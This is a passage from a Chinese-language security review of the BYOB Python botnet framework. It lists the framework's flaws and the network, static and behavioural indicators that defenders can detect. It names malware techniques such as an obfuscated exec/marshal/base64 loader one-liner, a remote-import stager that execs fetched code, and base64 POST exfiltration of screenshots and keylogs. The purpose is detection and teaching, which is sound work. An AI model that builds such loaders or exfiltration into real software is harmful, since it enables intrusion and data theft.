最大的正确性风险是:SQLite 跨线程无序列化、accept 循环被每连接握手阻塞、handle_session 列名 SQL 注入、以及 process.kill/outlook.run/util.png 这类主线 bug。最大的安全风险是四个监听服务全部无认证、远程导入的未认证 RCE、Web 端 CSRF 关闭导致的登录用户全机器 RCE,以及控制台 shell=True 直通。整套抗分析子系统(反 VM、反 AV、"UAC bypass")宣传远大于实质——反 VM 出厂被注释关闭,escalate 既假又会在非管理员环境崩。

对蓝队/取证/EDR 而言,BYOB 是低难度但高教学价值的样本:

  • 网络层:1337–1340 四个连续明文端口、0.0.0.0 绑定、python -m http.server 的目录索引可枚举模块与 payload、POST handler 无认证无大小上限——任一都是低成本的 NDR/出口检测点。
  • 静态层:exec(eval(marshal.loads(zlib.decompress(base64.b64decode(...))))) 自解压一行流、urlopen(...).read() + exec 的 stager、delta = 0x9e3779b9 的 XXTEA 常量、os.popen('taskkill /pid %s /f') 的 shell 注入式进程操作——都是稳定的 YARA/规则特征。
  • 行为层:反向 TCP 每 30 秒重试、DH 公值裸传、模块源码明文 HTTP 拉取后 exec、向 port+3 base64 POST 截图/pcap/键盘记录——主机侧 EDR 可在导入与上传两条路径上做高质量 telemetry。
  • 代码审计层:这是研究"如何不写一个 C2"的反面教材——跨线程 SQLite、不循环的 recv、把客户端 dict keys 拼进 SQL 列名、eval+marshal.loads 解攻击者字节、CSRF 默认关、import 即起监听——每一条都是可移植到任意 Python 服务端审计的检查项。

一句话:BYOB 的远程导入钩子值得学,它的服务器与数据库值得作为反面教材重写一遍。

回首页,搜索你想要的文档

在首页搜索框输入关键词,快速定位资料

文库首页搜索指引 立即搜索

相关学习资料